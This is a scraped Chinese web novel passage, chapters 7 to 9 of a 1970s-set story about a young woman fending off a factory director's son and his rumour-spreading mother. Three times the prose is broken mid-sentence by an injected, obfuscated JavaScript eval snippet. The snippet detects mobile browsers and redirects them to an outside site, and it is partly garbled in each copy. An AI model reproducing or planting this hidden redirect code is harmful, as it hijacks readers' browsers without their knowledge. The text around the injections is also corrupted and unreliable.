《错绑金手指赢麻了[七零]》 7. 第 7 章 没出半天。 奚明亚处了个公安对象,奚家不打算跟周厂长结亲的事就传遍了棉纺厂六号院。 等下午奚苏华两口子上班,厂里的人也都知道得差不多了。 工会办公室里。 蒋大姐毛衣也不织了。 隔一会儿就偷偷瞥向对面座位的欧阳眉,还时不时跟另一个茶盅不离手的秃顶老头儿眼神交流。 他们都听说了,欧阳眉能不知道? 本就瘦削偏长的脸拉得更长,更像马脸了,“蒋大姐你看我干什么?” 蒋如年龄其实比欧阳眉小两岁。 欧阳眉就是故意喊“大姐”,显摆自己比蒋如看上去年轻。 “眉大姐,奚师傅家闺女不是跟你家周威谈着吗?”蒋如笑吟吟问。 欧阳眉顿时脸就黑了。 办公室里六个人,三老三小。 秃顶茶盅不离手的是何主任,老油条一个,万事不管的。蒋大姐男人是棉纺厂另一个副厂长。 三个资历浅的是这两年考进厂的,家里都比较普通,平时也不怎么说话。 不过欧阳眉做人不行。 不仅在外面摆副厂长夫人的威风,有时候还把“谱”摆到工会办公室。 她我行我素,说话从来不管其他人心情。 还特别喜欢指手画脚,谁不乐意了,她反手扣一顶“好心没好报,指定要吃大亏”的帽子。 所以,几个人的小小办公室委实算不上和谐。 这不,蒋大姐一当出头鸟,就有人暗戳戳跟上了。 “对啊,咋突然变卦了?” “肯定是奚明亚眼光高,看上条件更好的了呗。” “更好的?能多好啊,高干子弟?” “啥更好的,就一公安,条件肯定不如眉大姐家。” 一唱一和互相捧哏,把欧阳眉气得喘气都不稳了,黑脸直接换成了怒目恶瞪。 其实不说周威人品问题。 周家条件确实不错,放哪儿都不能说声差。 但蒋大姐几个确实在阴阳怪气。 尤其是蒋大姐,这会子得意坏了。 谁让欧阳眉时不时在办公室夸她儿子呢,明里暗里说奚明亚表面不错,内里有点虚荣,说人家是看上周家的条件…… 她夸自己、夸儿子踩奚明亚没什么的,反正大家跟奚家不熟。 可欧阳眉每次夸周威,调过头来就要踩她儿子窝窝囊囊,现在成了耙耳朵,怕老婆。 还喜欢前脚踩完奚明亚,后脚又用她踩办公室里的小夏和小黄。 谁都要被她说,跟个搅屎棍一样。 今天可算是逮着奚落她的机会了。 再说,也没说错嘛。 前几天她话说到那份上,已经在宣扬调教儿媳妇的好法子了,大家以为两家结亲是板上钉钉的事呀。 哪晓得是周家一头热。 人家宁愿嫁公安都不嫁厂长儿子咯。 简直是往欧阳眉脸上啪啪打大耳刮子,让欧阳眉丢人丢到姥姥家了。 要知道这时候公安事多工资少,人家女同志如果真的虚荣,还能不选她家选公安? 证明她以前说的全都是放屁。 她以为能拿捏住人家就到处造谣的恶婆婆行为,简直让蒋大姐幻视自家去世的老虎婆,心里别提多恶心。 欧阳眉也恼。 看蒋大姐幸灾乐祸的表情,胸口凝聚的那一小撮火苗彷佛遇到了油,‘轰’一声,小火苗蹿成了熊熊大火。 “关你们什么事?” “以为能看我笑话呢,我告诉你们,是我家周威瞧不上她不稀得娶她了,她才只能从犄角旮旯里扒拉个小公安出来。” “我们家老周好歹是个副厂长,什么儿媳妇我挑不着?” “你,你,夏荷,阿姨觉得你就挺好,比奚明亚强。” 欧阳眉发泄完心中怒火,视线忽然落在角落里一直没搭腔的夏荷身上。 越看,越觉得夏荷不错。 好像是打农村来城里投奔姨妈的……还是这样的好。 好管。 被点名的夏荷讪讪笑了笑,局促不安地垂下脑袋,似是不敢开口。 六号家属院那头,奚明亚找隔壁贺大爷借了自行车。 董桂花出门前留了票,叫她买明儿个待客用的东西。 比如,瓜子胡豆必须有。 不用买多,但每人得抓一把; 菜不着急,副食品店买不着还能到郊区买。明天正好十二号,逢二五八城区边缘就会开集,如今虽说还在禁止个人买卖,但也要考虑到当地实际和人民群众的民生,赶集是被允许的。 既方便城里没地种菜的,也让周边生产队的农民同志们有点进项。 而鱼和肉这种紧俏货呢,有票都难买。 不想买不到就最好提前跟人定。 奚明亚算是这一片的名人。 她自念书开始就是雷打不动的第一名。隔远点的对她了解不深,只觉得她是别人家孩子,又聪明长得又好看。 就算没见过她本人,只要看到这么高个头儿的年轻姑娘,立马能认出她。 所以出门逛这一圈,走到哪都有人叫她名字同她打招呼。 一人说上一两句,小半天悄摸摸就过去了。 等把东西买齐,奚明亚踩着脚踏车慢悠悠往家里骑。 正要拐过巷子口,突然蹿出个人来。 “嘎——” 轮胎发出尖锐的啸音。 奚明亚眼疾手快,余光瞥到黑影的瞬间就捏了刹车,长腿同时撑地,这才没一头撞过去。 她对着堵前面的‘一坨’翻了个白眼。 “周威你突然冲出来干嘛,想碰瓷?” 周威怒气汹汹:“你今天相亲去了?” “昂!你有事啊?” 奚明亚蹙眉忍耐,懒得看前头那堵肉墙。 怕多看两眼就忍不住口吐芬芳,略通武艺。 周威痴迷地盯着奚明亚明艳的脸庞,视线逐渐上移,落在精心编过的辫子上,再慢慢移到微微卷曲、与平时不同的刘海处。 一副捉奸的口吻质问道:“你怎么能去相亲,我妈已经找你妈说了咱俩的事——” “咱俩什么事?我跟你很熟吗?”奚明亚错愕,没见过这么自说自话的人。 她打断他的话,“要发癫找别人,甭找我,不然我也发癫,我告诉你我癫起来谁都怕。” 周威脸色铁青,脸上的迷恋陡然变得凶狠,“奚明亚,你别给脸不要脸。” 他拳头握紧。 满脸横肉因情绪激动乱颤着,宛若发狂的野牛,目露凶光地盯着奚明亚。 奚明亚冷嗤一声,淡淡扫了周威一眼,“那你可真别给我脸。” 家里避让欧阳眉只是因为没必要跟人结仇。普通人嘛,没有足够多的臂膀,就想老老实实过日子,对可能存在的麻烦肯定是能避就避的。 但周威真要以势压人,奚明亚也不怕。 他爹周副厂长可不像他这么蠢。 不可能为了让儿子如愿就干逼迫厂里老师傅的事。他敢干,另外两个副厂长就能把他搞下课。 所以周威顶多跑奚明亚面前刷存在感,他妈欧阳眉也只敢在董桂花面前说一些“威逼利诱”的话。 人家打心理战呢。 这母子俩一个德性,就觉得自家不得了得很,他们递了枝丫别人就得欢欢喜喜往上蹦。 完全没想过董桂花会不乐意。 毕竟董桂花在很多人眼里都是没什么文化的农村妇女,当年靠着长得好嫁了同是乡下放牛娃但运气不错被过继进城的奚苏华。 两口子都属于抠门自私自利的形象。 董桂花日常又对大闺女骂骂咧咧,欧阳眉以己度人,觉得董桂花肯定愿意拿大女儿给后面两个儿子铺路。 她自己这样想,也是这么跟周威说的。 把本来就自傲自大、闯祸不断的周威心养得更大了。 两家压根没商定,他就觉得奚明亚已经成了他的囊中之物,早跟狐朋狗友炫耀了几回。 这才会在得知奚明亚跟别人处对象后大破防。 周威:“我爸是厂长。” “是副厂长。” “副厂长也是厂长,怎么,看不起我们家?” “说句副厂长就是看不起你们家了?那我摊牌了,不是看不起你们家,我纯粹看不起你。” “奚明亚,给你脸了是吧?” “是我给你脸了才是,你自己什么东西没点数吗?中学就逼女同学进厕所脱衣服,那次没被教训够是不是?” 周威一惊。 知道那事的都被他妈拿钱那东西封了口,奚明亚怎么知道? 是她爸她妈说的? 难道,董桂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|12105107|128805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花他们当时也在现场偷看? “谁跟你说的?啊?” 周威粗胖手指指着奚明亚,咬牙威胁:“你敢胡说八道,我饶不了你,饶不了你们一家。” 那年周威刚满十五岁。 从他小叔那儿翻出了一本叫《春火》的译本,书封面便是两个丰满的袒|胸|露|乳的金发美人,这本书让他第一次好奇“性”。 也第一次犯了错—— 第一次干坏事,经验不足,就近选了棉纺厂筒子楼附近的公厕。 结果坏事还没干成,就被一块砖头打晕了,后来还被不知道什么人扒掉裤子绑在公厕里…… 一想到自己光着腚被人议论,丑态毕露的样子早就被奚明亚一家知道。 周威顿时恼羞成怒,恶向胆边生。 他面目狰狞着,伸手就要抓奚明亚。 “觉得我恶心是吧?觉得我坏种是吧?跟你示好你瞧不上,那成,咱不搞那些虚的,生米煮成熟饭再说,到时候你,你爸你妈都得求着我娶你过门,不然你就是个人人喊打的破鞋。” 肥头大耳再配上污言秽语,整个人像在茅坑里腌了二十年,臭气熏天的。 奚明亚眸子倏冷。 照样坐在车上八风不动,周威那咸猪手伸到胸前还有十厘米时,奚明亚左手抓着车龙头没动作,右手捉住他三根手指,轻轻一掰。 “啊!!!” 下一秒,杀猪般的惨叫响彻天空。 周威痛得嗷嗷叫,被肥肉挤成一条缝儿的眼睛,睁大到了人生的最巅峰,从细缝儿变裂口了。 奚明亚冷笑。 忍无可忍,无须再忍! “破鞋破你妈呢,喷粪喷我头上。” “你配吗?” “照照镜子看看自己的猪样,穿上鞋都比我矮,还敢跟坨屎一样到处找人糊,前两次好声好气劝你别来我跟前晃,我跟你没缘分,你是不是觉得我怕你那个厂长爹啊?当耳旁风觉得我跟你玩矜持?” “你配吗?” “问你呢,哑巴了啊?” “……” 奚明亚骂一句手上力道就大一分,周威也就跟着惨叫一声。 这他妈的。 谁来告诉他,奚明亚居然是个嘴不离屎的泼妇?还有,她手劲怎么那么大,手脚上跟绑了一百斤秤砣似的。 草。 感觉手指断了。 “你……你撒手……我告……诉你,我带了人来的……” 奚明亚抬头。 朝周威蹦出来的巷子转角看去,一个寸头脑袋“咻”一下缩了回去。 她磨磨牙。 这人渣还准备得挺周全的呀。 他若是成功扑到自己身上,造成搂搂抱抱的假象,他那几个狗腿子再跳出来起哄,现在对男女关系又抓得那么严,自己还不得哑巴吃黄连? 真是个贱崽种! 这下奚明亚真生气了。 身体顺着自行车侧了侧,本身支撑着自行车的腿由左换右,左腿轻轻一踹…… 真的,谁看了都得说声“轻轻”。 结果壮硕如小山,高低得有一百六七十斤的周威竟应声倒地了。 奚明亚瞥了眼车框里的东西,都是花钱买的,热乎的,摔了得心疼死。 她赶忙把车推到旁边停稳才转身走向周威。 周威目露惊骇。 硕大的身躯一边往后蠕动,一边惊恐大喊:“瘦猴、老虎,赶紧出来帮忙——” 被点名的瘦猴和老虎也是棉纺厂子弟,这会儿已经被惊呆了。 他们对奚明亚并不熟悉。 奚家住大杂院,他们仨都住厂区筒子楼,又隔着六七岁的年龄差,平时真没怎么见过。 他们想象中的奚明亚是个子高挑,笑靥如花,温温柔柔,说话细声细气很好欺负的模样。 哪晓得骂人的话张口就来,什么屎啊粪的,贱人草泥马的,真是一点不打磕巴。 打人更是一打一个准。 还不像电影里那样炫技,嘿嘿哈哈左踢右劈,她就那么轻轻地一捏一推,周威那体格居然撑不住。 两人神情挣扎,对视良久,最后一咬牙:“……都是兄弟……” “我觉得周威会体谅咱们的。” “你说得对。” 周威歇斯底里嚎了几声,狐朋狗友的影子都没见着。 …… 8. 第 8 章 把人收拾服帖了,奚明亚才骑着脚踏车慢悠悠回家。 “贺大爷,车我给你停檐下了,你记得锁一锁啊。” 贺大爷从屋里出来。 看到自行车前面篓子里放着一小盒桃片,赶紧叫住拎着东西往自家走的奚明亚,叫她拿走。 奚明亚头也不回,“哎哟大爷,让你们吃就吃,推来推去见外得很,你甭跟我矫情啊。” 贺大爷约莫六十出头。 人高马大黝黝黑黑,脸上坑坑洼洼地留了许多痘印,两道眉毛又密又长,长成大刀形状,看起来凶神恶煞,其实是个面恶心善的老好人。 奚明亚每次借车,大爷没有不同意的。 “这丫头!” 贺大爷嘴上埋怨,眉目间却是淡淡笑容。 他不图这点吃的。 但帮衬了人对方感恩终归是叫人心情舒畅的事。 “老婆子,给。” 贺大妈腿脚不便,一般都在家里躺椅上纳鞋底。 她就着老伴的手吃下桃片糕。 这味儿,甜得老太太那双经历过岁月尚能看出年轻时风采的双眼微微眯起。 “大梅寄来的咸鸭蛋,送两个过去。” 奚明亚拿到鸭蛋哭笑不得。 结果贺大爷就拿她说过的话堵她,“让吃就吃,别跟我和你大妈矫情。” 奚明亚:“……” 晚上,奚苏华两口子下班,奚明冬三兄妹放学回家。 一进屋就欢呼。 “妈,啥日子啊,居然三个菜。” 拍黄瓜、炝炒藤儿菜、分成六份的咸鸭蛋,没肉,但配上红薯稀饭,已经很丰盛了。 董桂花也好奇。“这咸鸭蛋弄得不错呀,黄白分明,蛋白眼色洁白凝炼,蛋黄质地细沙,一层一层的,由浅至深,越往蛋心越红,还冒了黄油,供销社买的?买了几个,回头再去多买点。” 奚明亚:“贺大爷给的。” “姐你肯定又借贺大爷的车了。”奚明春人小鬼大道。 “就你聪明,盛饭去。” “大姐,你这一天天闲的,为什么不先把稀饭盛出来放凉啊,这么烫吃着不得劲,太不得劲了。” “天呐,妈,你咋不早说饭是我姐做的。” 奚明春一嚷,筷子刚伸到菜碗里的奚明冬、奚明美嗖一下,手缩了回去。 奚明亚瞪过去。 “有的吃还那么多废话,显着你了是吧?” “还有你俩,什么意思啊,凉拌的也挑?” “……嘿嘿,爸妈上班累,我的那份孝敬给爸爸妈妈。”奚明美乖觉,眼珠儿一转,立马祸水东引,“姐,大春他嫌弃得好明显,弄他!” 奚明春张大嘴。 也急忙拉外援:“二哥,奚明美欺负我,咱俩都是男的,你肯定帮我,对不对?” 奚明冬拒绝弟弟的结盟请求。 无情推开小弟凑过来的脑袋,嫌弃又同情地看了他两眼,拿筷子去了。 奚明美见状,立刻得意洋洋地扮了个鬼脸:“嘿嘿,有些人病好了就不能搞特殊待遇咯,告状精~~” 奚明春:“你还不是爱告状,哼。” 奚明美:“就告,就告。” “……” “安静吃你们的。” 奚家没有食不言寝不语的规矩。 家里的大大小小都是在饭桌上商量出来的。 奚明亚敲敲桌子,叫弟弟妹妹们别吵吵。 扭头跟父母谈正事:“妈,花生没买到熟的,一会儿你还得炒一炒。我定了两斤鱼、两根排骨、一斤坐臀肉,你看够了不?” “够了,就他一个人来吧?” “应该是,他又没别的亲戚,不可能把那几个孩子也带过来。” 说起孩子,奚明亚想起今天没签到,这可不行,一天漏签就少2积分。 赶忙把到给签了。 总积分显示113。 奚明亚正要收回意识,就发现兑换商城旁边多了一个叫今日特惠的频道。 上面突兀的有一个小红点。 点进去一看。 总共就三样东西。 一个电风扇,八折,135积分; 一个衣柜,五折,380积分。 最便宜的是床上八件套,枕套*2,床单*2,被套*2,原价300积分打3折,现在只要90积分。 奚明亚眼睛放光。 这种大漏,不捡还是人? 想也不想就飞速选择购买。 她在脑子里忙活,而大伙儿看到的则是她盯着稀饭两眼发直。 嘴角轻轻勾起。 露出迷之微笑,怪诡异的。 正跟她说话的董桂花一脸纳闷。 笑什么呢? 跟耗子偷到油似的,古里古怪。 “明亚,明亚你想什么呢?” 奚明亚“啊”了声回过神,嘴角还是保持着翘起姿态,眉目也愉悦地上扬着。 “没什么。” “妈,刚说哪儿了?” 奚苏华瞥见妻子脸黑,提醒女儿:“你妈问你嫁妆要哪些?” 这话一出,奚明亚还没说什么,奚明冬三人反应就大了。 “啥?嫁妆?” “大姐,你要嫁人了吗,嫁给谁?” 只有奚明春隐约猜出了一点,跟猴似的蹿到跟前,“大姐,是不是有小跨院那个?” 话音刚落就被奚明冬奚明美瞪了,“你怎么知道的?” “我当然知道,我——” 刚想炫耀,才被兄弟姊妹瞪了的奚明春又遭受到了来自董桂花同志的冷眼,“奚明春,你再话唠试试!” “……” 他噎了噎,声音渐渐咽回肚子里了。 切~~ 不说就不说。 董桂花收回眼刀子:“先说好,多的置办不了,不许狮子大开口。” 奚明亚佯装失望。 叹息一声:“妈你真懂我,我正琢磨着让你和爸大出血呢,嗐,落空了。” “那也得有血才行。” 董桂花:“你看看你们几个,各个面色红润身高比同龄人高,你说,吃的穿的哪样不花钱,每个月那点工资能留多少是算得出来的。” 这倒是。 在这个艰苦的年代里,老百姓普遍缺衣少粮,能省则省,个头也就不怎么高。 而他们家在吃穿上就很手松。 照董桂花同志的说法,反正铁饭碗在手,存不存钱都不影响过日子,早吃早穿还早享受呢,留个几十一百应应急就得了,实在出事了需要花钱,还能找财务科借。 至于女儿的嫁妆,儿子娶媳妇的花销…… 他们有就给,没有就拉倒。 谁要是不高兴,觉得不够光荣有面儿,那就自己去挣。 因为这种“独、自私”的态度。 自奚明亚姐弟几个会做加减乘除后,董桂花和奚苏华就有意培养他们管钱的意识。 每个礼拜给他们发几毛零花钱不说,买菜、排队买媒、到副食品店抢东西这些都安排孩子们干。 所以,奚明亚姐弟几个对钱的概念远超同龄伙伴们。 不仅她算得出父母工资花在什么地方,几个小的也大概有数。 奚明亚琢磨片刻,说:“不用特别置办,妈,你屋里的红色旧箱子我带走,爸找时间重新给它刷下漆,其他的就像大家一样,带两个红双喜瓷盆、暖水壶什么的。” “不成,太寒酸了。” “嫁妆是新娘子的底气,让你别狮子大开口,也没叫你省到这份上。” “妈,要不给大姐买辆自行车呗,你看她每次出门买东西或是干嘛就得借贺大爷的,多不方便啊。我有三块零花钱,可以借给你和爸。” “我也有,我有五块哟~~~” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|12105108|128805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明春晒完这几年攒的压岁钱,爱跟他较劲的明美也脆声道。 说完,眼神警惕地望向奚苏华,“爸你发誓,过年发压岁钱时不能找理由收回去,也不能不还。” 奚苏华牛眼一瞪:“发4,我还发5,你听不听?” 奚明美脖子一缩。 小小哼了声。 扭头就对上刚刚计算了一遍存款,仿佛天塌了的奚明春。 奚明春酸了吧唧:“你怎么还剩那么多?你明明买了好多头绳,发夹……” “嘿嘿,不告诉你。”奚明美又开始得意。 要不咋说是从小斗嘴到大的双胞胎呢。 明春一看她忍不住想秀的神色,立马猜到原因,“哦~~~奚明美你奸诈,肯定是大姐给你买的,对不对?” “大姐你偏心,我不管,我也要。你给她买多少钱,也得给我补上。” 奚明亚被吵得暴躁:“奚明春你再吵吵,我先给你补个竹笋肉丝。” 奚明春被大姐的恐吓吓得捂住嘴巴。 啊啊啊。 就是偏心啊。 女同志果然偏心女同志。 想到这儿,奚明春眼神幽幽,射向专注吃饭的二哥奚明冬身上。 可惜了,媚眼抛给瞎子了。 “不用你们的压岁钱,妈,自行车我用不着,我就是结个婚而已,多大点事。” “瓷盆、暖水瓶、嫁妆箱子就够了,至于棉被……我有同学能搞到被子。这些拿出去不埋汰。” 说着话,稀饭凉了。 “车得买,再给你一百现钱。” “不管小谭给多少彩礼,都叫你一块带回去。” 董桂花拍板。 奚苏华没意见,奚明冬几个就更没意见了。 吃完饭,奚明亚给妈打下手炒花生。 奚苏华就着电灯晕黄的光芒,看厂里新机器的草图。 奚明冬三兄妹说是出去遛弯儿,其实在院子大门旁商量要给奚明亚准备啥新婚礼物。 “二哥,咱们的钱合一块买小皮鞋呀,大姐那么爱臭美肯定喜欢。” “小皮鞋要二十多,你三块,我五块,二哥有那么多吗?” 三兄妹围成圈蹲着。 “那肯定有啊,这可是二哥呢!” 明美手托在两颊处,眼睛眨巴眨巴,天真可爱,狂吹彩虹屁。 明冬抬手就往她脑袋上敲,“呵呵,又想打劫我的荷包了?想都别想。” “又?” “好哇,二哥,你也跟大姐一样,偷偷给奚明美钱花了呀。” 反应过来的明春吹胡子瞪眼。 深深感受到了来自哥哥姐姐的恶意。 太惨了。 他们仨孤立他! 明春悲愤交加,四十五度望天。哦,今晚的星星好多,好亮。 奚明冬懒得搭理戏精弟弟,“够,买完皮鞋还能剩下点,可以再添置点东西。” 明美想了想,“那可以买口红。” 同院里的花花姐结婚时,为口红跟刘阿姨吵得可凶了。 明美想,或许口红对新娘子来说很重要。 “行,买礼物的事交给你和明春办,没问题吧?” “二哥你呢?” 奚明冬无奈:“劳动课,一个礼拜。” 一部分到周边农场拔草、种田、还有一部分负责清扫整个关阳市的厕所。 很不幸,奚明冬被分配到扫厕所的小组。 连续扫一个礼拜厕所,每天早上六点就要跟组员集合,下午六点才回家。他哪好意思顶着一身厕味儿到商场买东西呢。 明美姐弟俩不约而同露出幸灾乐祸的表情,奚明冬差点大姐附体。 突然—— 屁股被人踢了一下,紧跟着一道尖锐的,带着满腔怒火的声音: “大晚上的蹲这儿挡路,有没有爹妈教啊,哪家的?” 9. 第 9 章 “阿姨,你很过分哦。” “打人不打脸,骂人不骂爹妈这个道理你这么大个人都不知道吗?” 欧阳眉:“……” “而且,我们蹲自个儿院子门口犯哪条法了,你居然还要骂我们没教养。你脑子要是不好使了,要不到淮扬路找宋医生瞧一瞧吧,她医术特别好。” 小丫头两手叉腰,振振有词。 一张小嘴深得董桂花真传,损人不带脏字儿。奚明冬和奚明春好险才没笑出声。 听对方呼吸变得粗重急促。 怕这人被刺激得动手打小孩,两人赶忙起身挡在妹妹\姐姐面前。 奚明冬:“阿姨,你找谁?” 这话让欧阳眉想起正事了,没空跟眼前气人的小鬼头较劲。 “奚明亚住是住这条胡同吗?” 奚明冬:“对。” 欧阳眉:“哪个院子?” “你找她什么事?” 借着淡淡的星辉,奚明冬打量着欧阳眉的表情。 脸生,咄咄逼人,走路不看路,明明光线不算特别暗却能一脚踹他身上,一看就不是好人啊。 “阿姨你谁啊,这一片好像没看到过你。”奚明冬神情戒备。 欧阳眉傲慢惯了,听到小孩盘问的语气很不耐烦:“问你你就回,废话咋那么多。” 她声音大,凶神恶煞的,院里乘凉的刘桂花和朱大姐听门口吵吵,好奇地走了出来。 “明冬你们干嘛呢?” 再扭头一看。 那标志的胡兰头、无领连衣裙,再热也要戴着的纱巾,可不就是周厂长那眼睛长头顶上的爱人吗? “欧阳同志,你咋来我们这边了?” 欧阳眉不认得刘桂花,骄矜地点点头:“大姐,你认识奚明亚吗?她住几号院子?” 刘桂花闻言,干瘪的嘴角微微往下耷拉。 喊谁大姐呢? 真不会聊天。 不过想到能看董桂花的乐子,她尽量忽视掉对欧阳眉的不满,热络道:“呐,你可找对了,就住这儿。明冬你们仨这就不对了,人家找你姐有事,你咋不带人进去?” 朱大姐目露担忧地看了眼院里。 来者不善啊。 难不成是因为明亚不跟周威结亲,欧阳大姐气不过? 这就太小心眼了。 大概是太担心,她杵原地一动不动,竟忘了先去跟董桂花通个气。 欧阳眉竖起柳眉,淡淡瞥了明冬三个一眼。 语气讥讽:“一家人啊,看来我刚才没说错,就是爹妈没教好。” 说完,冷笑一声。 直接朝门里走。 边走还边大声嚷嚷:“奚明亚,你给我出来。” “奚苏华、董桂花,你俩也别想躲着。” “你女儿小小年纪不安分,勾着男同志不放、玩弄感情不说,还敢叫人打人,你们当爹妈的怎么教的?” “当她身上镶金了?我几次找你说她同我儿周威的事,你从来不拒绝,吊着我们母子不放,你不同意你早说是不是,我以为他们俩的亲事都定了,已经开始替他们准备婚房和三转一响了。你扭头换了女婿,行,看不上我们老周家我不说什么,但她找人打周威算怎么回事……” 院子就那么大,不怎么隔音。 谁放个大响屁另外几家都有可能听得见,何况欧阳眉就是故意的。 她现在就一个想法: 我儿子不如意,那你女儿也别想清清白白找下家。高低叫你名声变臭,带着不好听的名声嫁出去。 反正年轻男女处对象这种事,外人很难说清内情对错,真真假假,闹出来永远是姑娘家影响大。 不得不说欧阳眉抓住了男的心胸普遍小这个特质。 在她看来,没有哪个男人会对妻子婚前的风流韵事不在意,一旦在意那就是一根刺,积年累月攒着攒着,不定什么时候就冒出来把人扎个遍体鳞伤。 她就要奚明亚后半生一直活在别人的怀疑里。 还没等董桂花应声,离大门最近的蒋家门开了。 蒋大爷推着蒋大妈出来。 两人都是退休职工,不怕说公道话。 “欧阳,你闹得不讲理了。” “明亚跟你家周威都没见过几面,你儿子成天在外头乱混,在厂里三天打鱼两天晒网,明亚好好地在学校,什么时候勾着他?” “亲事不成就给姑娘家泼脏水,你这干部家庭的思想可不怎么先进啊。” 欧阳眉脸色变了变。 没想到蒋中贞会出来说话,她眼含不满,但语气确实有所收敛。 “蒋工,这是我们两家的事,您这个外人就别掺和了。” 刘桂花劝蒋大爷:“对呀,蒋大爷,你就别多管闲事了,这么久董桂花还不出来,没准就是心虚。” 劝了蒋大爷,又开始拱火:“奚老焉儿,你媳妇闺女不出来,你也当缩头乌龟啦?” “老焉儿气管炎,董桂花不发话,他哪敢出来?” “哈哈哈哈。” 没一会儿,院里其他人也被引了出来。 老的少的,有拿着滚铁环好奇围观的小孩,有捧着饭碗、搪瓷缸看热闹的大人。 就连隔壁跟大家来往比较生疏的曾会计和马老师两口子都围了过来。 欧阳眉喊半天没见到奚家人出来,连奚家那三个小孩都不知啥时候跑没影了。 愈发觉得他们心虚,那气势陡然高涨。 “董桂花,不敢出来了?” “奚明亚,敢找人打我儿,现在当上缩头乌龟了?” “我告诉你们,以为躲着就万世太平,没门儿。” “……” 奚明冬气冲冲跑屋里,“爸!” 奚苏华回神,“怎么了?” “咦,外头在吵什么哟,大半夜的也没个消停。” 奚苏华一看图纸,一琢磨机器就容易入迷,外界的消息彷佛被大脑自动屏蔽了。 奚明冬难得翻了个白眼,“是周威妈,她说我姐打了周威,现在正在外头造谣呢。” 奚苏华皱眉,想也没想丢开图纸,大步向门外走,“欧阳眉,你嚷嚷什么?” 欧阳眉:“哦,奚师傅你总算出来了。” “奚明亚找了小痞子打我儿子的事,你知道吗?” “胡说八道,我家明亚什么时候纠集地痞打人了?你亲眼看见了?”要打还需要找人?小瞧人不是。 “不用亲眼看见,我儿子身上的伤就是证据。” 奚苏华不认:“你家周威交游广阔,三教九流都来往,谁知道是被谁打的你就赖到我闺女头上。” 欧阳眉差点被气笑,“奚师傅,你是非得袒护到底了?” “没错我认个鸡尔,不认就是袒护?你们坐办公室的就是会玩文字游戏,扣帽子的动作顺溜得不行,我一个混车间的大老粗说不过你。” 欧阳眉老脸一红。 什么鸡尔不鸡尔! 还是厂里的大师傅呢,说话真是粗俗不堪。 “你叫奚明亚出来,我跟她当面对质,我倒要看看她是不是脸皮那么厚,敢做不敢当。” 灶房里,姐弟两个跟董桂花目光灼灼,好奇周威是不是真被打了。 ……唔,主要要这事大姐真干得出来。 奚明亚挥舞锅铲的动作完全没受影响。 “明美,你帮妈看火。” “妈,我看锅里差不多了,你来收尾,我出去跟厂长夫人好好说说他儿子的损塞样儿。” 母女俩没第一时间出去不是怕了欧阳眉,而是花生正炒在关键时候。 这火势,挥舞锅铲的力气,缺一不可。 因为锅里放了沙、盐,铲一下非常费体力,还得一直翻炒半小时,这活儿非奚明亚莫属,这才走不开。 董桂花挥手:“那你去。” 回头跟无事发生似的,示意小女儿火再小一点,又拿起漏勺薅了几颗让仨人尝,“味道怎么样?” “顶呱呱!” “好吃,咸香可口,还好不是我姐搁的盐,不然得苦死。” 奚明亚斜眼,不满冷笑。 奚明春自觉说错话了,眼珠四处乱飘,假装拉踩的不是自个儿。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|12105109|128805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “妈,这一锅可以起了。” 董桂花也剥了一颗,花生干脆的香气瞬间充斥在口腔里,她满意地点点头,一边漏花生,一边叫儿子把另外半盆端过来。 “大春,你来接替你姐的位置。” 话落,董桂花顿了顿,语气有些许怀疑:“力气够的吧?” 奚明春:…… 男子汉怎么能说力气不够! 就算才十岁,那也是男子汉。 “没问题。” 母子几个一边偷吃花生,一边点评奚明春挥铲子的动作和力气,完全不担心外面的情形。 他们对大闺女\大姐的战斗力实在太有体会了。 果然。 奚明亚出去压根没像刘桂花几个以为的哪样,或狡辩,或澄清,或委屈。 没有。 什么都没有。 她从头到尾就三句话: 打了; 周威莫名其妙骂我; 我认识一个脸盘圆圆,左边嘴角一颗小痣,笑起来甜滋滋的女同志,不知道欧阳干事认不认识? 前两句,欧阳眉差点暴走,骂奚明亚厚颜无耻,打了人还理直气壮。 想打人的胳膊都已经举过头顶了。 第三句话一出,整个人就跟被点了死穴差不多,她表情宛若见了鬼,着急忙慌走了。 连句狠话都没撂。 她这样子,旁人一看就知道里头有事,还是见不得人的大事。 这下一个个吃瓜群众的好奇心瞬间被拉拔到最高点。 “大丫,那姑娘谁啊,跟欧阳眉有什么关系?” 刘桂花嗅到了八卦的气息。其他人也炯炯有神望着奚明亚。 奚明亚咳了一声。 深藏功与名:“我不知道,我就随口一说,散了散了,该洗洗,该睡睡。” “说说呀,别吊胃口。” 她还是那句话:“我不知道啊,不然你们去问周威他妈?” 这一夜六号院所有人挠心挠肝,翻来覆去琢磨。那可是眼睛长头顶的欧阳眉诶。 她居然落荒而逃! 那得多大的把柄啊。 嗐,偏奚明亚那丫头嘴巴硬得跟蚌壳似的,怎么着都不露一点口风。 